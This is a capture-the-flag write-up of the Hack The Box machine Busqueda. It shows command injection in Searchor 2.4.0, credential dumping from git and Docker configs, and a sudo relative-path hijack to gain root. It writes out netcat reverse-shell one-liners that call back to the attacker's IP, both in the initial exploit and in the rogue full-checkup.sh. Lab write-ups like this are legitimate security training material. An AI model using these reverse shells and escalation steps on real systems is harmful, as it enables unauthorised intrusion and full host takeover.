HTB Busqueda: Formal Writeup
Synopsis:
On the host Busqueda a vulnerable web app was running, by exploiting the web app’s query
parameter the attacker gained RCE & the initial foothold. The attacker then enumerated the system and compromised the password for the cody
user, which was reused for the user svc
account. The attacker also discovered a new virtual host (VHOST) where a self-hosted Git service was running. Using the sudo privileges of the svc user, the attacker was able to dump the configuration files of running Docker containers, which led to the compromise of a few additional user passwords. The attacker then logged into the administrator’s Git account and found a number of scripts. One of these scripts, named full-checkup.sh
, did not have its full path specified. The attacker abused this oversight by creating a file named full-checkup.sh in the /tmp directory that contained a reverse shell. This allowed the attacker to gain complete control of the host.
Active Recon:
The attacker decided to run a nmap scan to find all the open ports and running services.
┌──(toothless5143@kali)-[~]
└─$ nmap -Pn -sV -sC -p- --min-rate=5000 -T4 10.10.11.208
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-08 00:54 CDT
Warning: 10.10.11.208 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.11.208
Host is up (0.28s latency).
Not shown: 48720 closed tcp ports (conn-refused), 16813 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.37 seconds
From the nmap scan it was found that there were 2 open ports SSH & HTTP. The HTTP server was running on Apache httpd 2.4.52
and our Nmap’s Script Engine revealed that the http server redirected to another VHOST named searcher.htb
. Upon adding the VHOST to the /etc/hosts
file, the website was explore able.
┌──(toothless5143@kali)-[~]
└─$ echo "10.10.11.208 searcher.htb" | sudo tee -a /etc/hosts
Upon landing on the page it was initiated the website is a web app based on a python flask using the library Searchor
. Searchor is an all-in-one PyPi
Python Library that simplifies web scraping, obtaining information on an topic, and generating search query URLs. The web app also revealed its version.
Vulnerability Analysis & Exploitation:
Upon researching for a bit the attacker figured out that Searchor 2.4.0
was vulnerable to Arbitrary Command Injection & they found a valid exploit for the vulnerability.
In the file src/sarchor/main.py
of the version Searchor 2.4.0
there was a function named eval()
, Which can provide the ability to execute arbitrary code using functions such as:__import__(‘os’).system(‘<CMD>’)
, __import__(‘os’).popen(‘<CMD>’).read()
So they decided to use the exploit to gain RCE. They started a listener to hear back from the reverse shell.
┌──(toothless5143@kali)-[~]
└─$ rlwrap nc -nvlp 4444
listening on [any] 4444 ...
Upon executing the script & using the below reverse shell payload, the nc
listener got a hit with a reverse connection from the target.
┌──(toothless5143@kali)-[~]
└─$ python3 Searchor\ 2.4.0\ RCE.py
Command: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.36 4444 >/tmp/f
Netcat listener:
┌──(toothless5143@kali)-[~]
└─$ rlwrap nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.35] from (UNKNOWN) [10.10.11.208] 36624
svc@busqueda:/var/www/app$
And the first flag was obtained through the reverse shell from the file /home/svc/user.txt
.
Post Exploitation:
While enumerating different files through out the machine a hidden folder .git
was found. And inside the folder a pair of credential for the user cody
& a VHOST named gitea.searcher.htb
was discovered from the config
file.
svc@busqueda$ cat /var/www/app/.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:<REDACTED>@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
Inside the same directory the HEAD
file had some data about the last commit and an username administrator
was found.
svc@busqueda:/var/www/app/.git/logs$ cat HEAD
0000000000000000000000000000000000000000 5ede9ed9f2ee636b5eb559fdedfd006d2eae86f4 administrator <administrator@gitea.searcher.htb> 1671970461 +0000 commit (initial): Initial commit
Upon adding the VHOST into the /etc/hosts
file the attacker was able to access the VHOST gitea.searcher.htb
successfully.
┌──(toothless5143@kali)-[~]
└─$ echo "10.10.11.208 gitea.searcher.htb" | sudo tee -a /etc/hosts
The attacker was able to sign in by using the credential of the user cody
, but found nothing interesting. Upon trying to list the svc
user’s sudo privileges it asked the attacker for a password. Later on it was found out that the cody
user’s password was reused for the user svc
.
svc@busqueda:~$ sudo -S -l
[sudo] password for svc: <REDACTED>
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
The user svc
was permitted to run the Python script “/opt/scripts/system-checkup.py
” using the Python3 interpreter located at “/usr/bin/python3
”, and they could do so with root privileges.
The attacker had the access to execute 3 actions on behalf of the script “system-checkup.py
”.
svc@busqueda:~$ sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py test
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
Upon executing the docker process it was found out that 2 docker containers were running, one for gitea
service and the other one was for mysql
.
svc@busqueda:~$ sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 7 months ago Up 7 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 7 months ago Up 7 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
It was possible to dump the config files from docker’s by abusing the docker-inspect. Nothing found by dumping the gitae
service’s config file. But by dumping the mysql
docker some user passwords were found.
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' f84a6b33fb5a
{"Hostname":"f84a6b33fb5a","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"3306/tcp":{},"33060/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["MYSQL_ROOT_PASSWORD=<REDACTED>","MYSQL_USER=gitea","MYSQL_PASSWORD=<REDACTED>","MYSQL_DATABASE=gitea","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","GOSU_VERSION=1.14","MYSQL_MAJOR=8.0","MYSQL_VERSION=8.0.31-1.el8","MYSQL_SHELL_VERSION=8.0.31-1.el8"],"Cmd":["mysqld"],"Image":"mysql:8","Volumes":{"/var/lib/mysql":{}},"WorkingDir":"","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"db","com.docker.compose.version":"1.29.2"}}
Which was later used to sign in to the gitea service’s web app on behalf of the user administrator(administrator:<REDACTED>
). A repository named scripts
was found. Which was consisted of different scripts.
Privilege Escalation:
Upon inspecting all of the scripts deeply it was discovered that inside the system-checkup.py
script, the full path for the full-checkup.sh
file was not mentioned which was abuse able.
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
The above code block means that the command can only be run if the full-checkup.sh
is available in the current directory. The full-checkup.sh
was located in /opt/scripts
. So the attacker decided to create a new file named full-checkup.sh
in a different location so that the attacker owned script gets executed instead of the real one which will give the attacker arbitrary command execution on behalf of the root user because of the sudo privillege.
The attacker was able to create a reverse shell script in the /tmp
folder and upon executing the function full-checkup
, they were able to gain root access over the host. The process is shown below, the attacker gained a SSH connection for reliability.
Connecting to the ssh server:
┌──(toothless5143@kali)-[~]
└─$ ssh svc@10.10.11.208
svc@10.10.11.208's password: <REDACTED>
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-69-generic x86_64)
svc@busqueda:~$
Creating a rogue full-checkup.sh
file in the /tmp directory:
svc@busqueda:/tmp$ vim full-checkup.sh
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.36 8000 >/tmp/f
# Giving the execution permission
svc@busqueda:/tmp$ chmod +x full-checkup.sh
Starting a nc
listener:
┌──(toothless5143@kali)-[~]
└─$ rlwrap nc -lvnp 8000
listening on [any] 8000 ...
Executing the script by abusing sudo privilege:
svc@busqueda:/tmp$ sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Upon executing the command, the attacker successfully got a reverse connection from the host on behalf of the root
user & the host got pwned. Lastly the root flag was obtained from the /root/root.txt
.
┌──(toothless5143@kali)-[~]
└─$ rlwrap nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.14.36] from (UNKNOWN) [10.10.11.208] 54230
root@busqueda:/tmp# cat /root/root.txt
<REDACTED>
Signing out,
- Toothless